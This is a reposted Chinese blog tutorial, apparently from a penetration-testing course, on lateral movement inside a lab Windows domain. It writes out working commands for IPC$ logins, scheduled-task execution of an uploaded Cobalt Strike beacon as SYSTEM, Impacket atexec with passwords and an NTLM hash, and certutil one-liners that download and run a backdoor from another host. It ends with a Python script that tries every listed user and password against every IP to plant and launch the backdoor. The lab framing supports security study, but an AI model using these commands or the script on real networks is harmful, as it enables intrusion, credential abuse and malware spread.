当前位置:   article > 正文

第128天:内网安全-横向移动&IPC&AT&SC 命令&Impacket 套件&CS 插件&全自动

第128天:内网安全-横向移动&IPC&AT&SC 命令&Impacket 套件&CS 插件&全自动

环境部署

案例一: 域横向移动-IPC-命令版-at&schtasks

首先是通过外网web访问到win2008,获得了win2008的权限,这一步不做演示

因为里面的主机都不出网,所以只能利用win2008进行正向或者反向连接

信息收集

域内用户信息,以及域控名

收集域控ip

现在知道了域内的网段,探测存活主机,一般主机都会默认开启IPC$,ipc的端口是135,这里利用

ipc建立隧道进行文件上传

目标列表可以查看存活主机

这里抓取hash以及明文密码,需要提权到system

提权有很多种方法,可以看这篇文章

第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客获得了system权限利用system权限去抓取hash

 

这里其实直接有了域控的账号密码,是因为我用管理员身份执行了一些操作

win7上线

这里不知道30的是win7还是别的主机

首先ipc建立隧道,这里的思路就是利用刚才抓取的账号密码,一个一个试,可能别人用他的账号登录过这台主机,那么他的账号密码就会记录下来,这里我刚搭建的环境,没登陆过,假设账号密码已知^_^,或者你要是知道了域控管理员的账号直接利用管理员账号登录

  1. shell net use \\目标ip\ipc$ "域控密码或者主机密码" /user:"域控账号或者主机账号"
  2. shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na

实验过程中发现该隧道如果windows防火墙打开的话无法建立连接

隧道建立完成后需要上传木马文件,先尝试正向连接

生成后门

先把生成的木马上传到win2008

 注意上传文件的时候至少需要用到管理员权限(admin或system)

添加计时任务,win2012之前的主机用at命令就可以,之后的主机用schetasks

  1. shell at \\主机ip 时间 命令
  2. shell at \\192.168.3.30 10.40 c:\2.exe

但是win7这里经过实验发现还是使用schetasks,at命令更加简单,一句话就可以,这里就不复现了

  1. #创建任务beacon
  2. schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F
  3. #运行beacon
  4. schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i

命令参数

  1. 1.schtasks /change #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)
  2. 2.schtasks /create #计划新任务
  3. 3.schtasks /delete #删除计划任务
  4. 4.schtasks /end #停止任务启动的程序
  5. 5.schtasks /query #显示计划在计算机上运行的任务
  6. 6.schtasks /run #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
  1. #/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
  2. /sc onlogon 用户登录时启动
  3. /sc onstart 系统启动时启动
  4. /sc onidle 系统空闲时启动
  5. /sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
  6. /sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
  7. 参数:
  8. /sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
  9. /tn 计划任务名称,后续查询、修改、删除、执行时使用
  10. /tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
  11. /ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
  12. /rp 运行任务的用户账户密码
  13. /mo 指定任务在计划类型中的运行间隔
  14. /d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
  15. /m 指定任务在某个月运行,只适用于MONTHLY类型。
  16. /i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
  17. /st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
  18. /ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
  19. /et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
  20. /du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
  21. /k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
  22. /it 只在用户登录时运行
  23. /z 在任务计划完成后删除任务计划
  24. /f 在创建任务时如果任务已存在不显示警告
  25. /RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
  26. /F 如果指定的任务已经存在,则强制创建任务并抑制警告。

创建并且运行

然后主动进行连接

因为我运行的账号密码是系统的账号密码,所以获得的是system权限

如果不知道系统账户的用户名密码 ,所以还需要得知道主机的账号密码。感觉真实环境肯定更难一点……

win7上线后可以进一步抓取明文密码和hash,进一步信息收集

正向上线完尝试反向上线

生成木马上传

 创建计划任务并且运行

上线从这幅图里面可以看出来win7有一台是正向,有一台是反向

win2019上线

这里win2019已经改为192.168.3.50,win2019因为系统问题所以很多得需要更高的权限去执行

win2019采用反向上线

生成监听器

 

生成木马,上传到win7

上传前看一下当前路径在哪里

创建ipc隧道,这里上传的时候发现这里创建隧道已经不能再用域用户了,要么使用这台主机的管理员用户,要么使用域的管理员用户,可能是系统的安全策略做了提升

shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator

然后创建计时任务,因为系统安全性的提高需要带上账号密码去创建计时任务

shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F

然后运行

成功上线

案例二:域横向移动-IPC-插件版-CS&LSTARS

案例三: 域横向移动-IPC-套件版-Impacket-atexec

1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

exe版本上传到win2019(50)去探测win2012(40)

  1. atexec.exe 域名/账号:密码@ip "命令"
  2. atexec.exe ./本地账号:密码@ip "命令"
  3. atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"

域用户

本地用户

它可以执行命令那么可以尝试用它进行上线,首先思路是已经拿到了webserver,然后上传木马文件到了webserver

让主机反向连接webserver

利用这条命令远程下载,让win2012进行上线,注意这里的ip是win2012的ip需要下载到自己的主机,通过win2008让win2012执行命令然后下载

atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"

默认会下载到c:/windows/system32/下

执行,成功上线

案例四:  域横向移动-IPC-代理版-Socks&Py&atexec

exe有个问题就是文件太大了,上传py文件会好一点,但是python文件目标主机也不一定有python环境,最好的方式是建立节点在自己主机上运行。

代理转发

设置代理节点

直接在kali上运行,通过kali连接win2008给自己的节点,去连接win2012

 在kali本地利用python文件远程下载木马

记得开启win2008的监听

kali本地执行木马

成功上线

然后可以写python文件批量进行连接思路就是,把收集到的账号,密码,以及ip全部写成字典,然后,批量用atexec.py上传木马,然后运行

win2008只获得了这几个密码

前面通过端口扫描获得的ip

  1. import os
  2. # 使用列表来存储密码,确保每个密码都是独立的元素
  3. passwords = [
  4. '123.com',
  5. ]
  6. # IP 地址集合
  7. ips = {
  8. '192.168.3.20',
  9. '192.168.3.30',
  10. '192.168.3.40',
  11. '192.168.3.50'
  12. }
  13. # 用户名集合
  14. users = {
  15. 'Administrator',
  16. 'jie'
  17. }
  18. def xz(): # 下载后门
  19. for ip in ips:
  20. for user in users:
  21. for password in passwords:
  22. # 注意修正了路径和用户名的问题
  23. exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'
  24. exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'
  25. print('--->' + exec1 + '<---')
  26. print('--->' + exec2 + '<---')
  27. os.system(exec1)
  28. os.system(exec2)
  29. def zx(): # 执行后门
  30. for ip in ips:
  31. for user in users:
  32. for password in passwords:
  33. # 注意修正了路径和用户名的问题
  34. exec1 = f'python atexec.py ./administrator:{password}@{ip} "zx.exe"'
  35. exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "zx.exe"'
  36. print('--->' + exec1 + '<---')
  37. print('--->' + exec2 + '<---')
  38. os.system(exec1)
  39. os.system(exec2)
  40. if __name__ == '__main__':
  41. xz()
  42. zx()

通过代理执行这个文件

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/933215
推荐阅读
相关标签
  

闽ICP备14008679号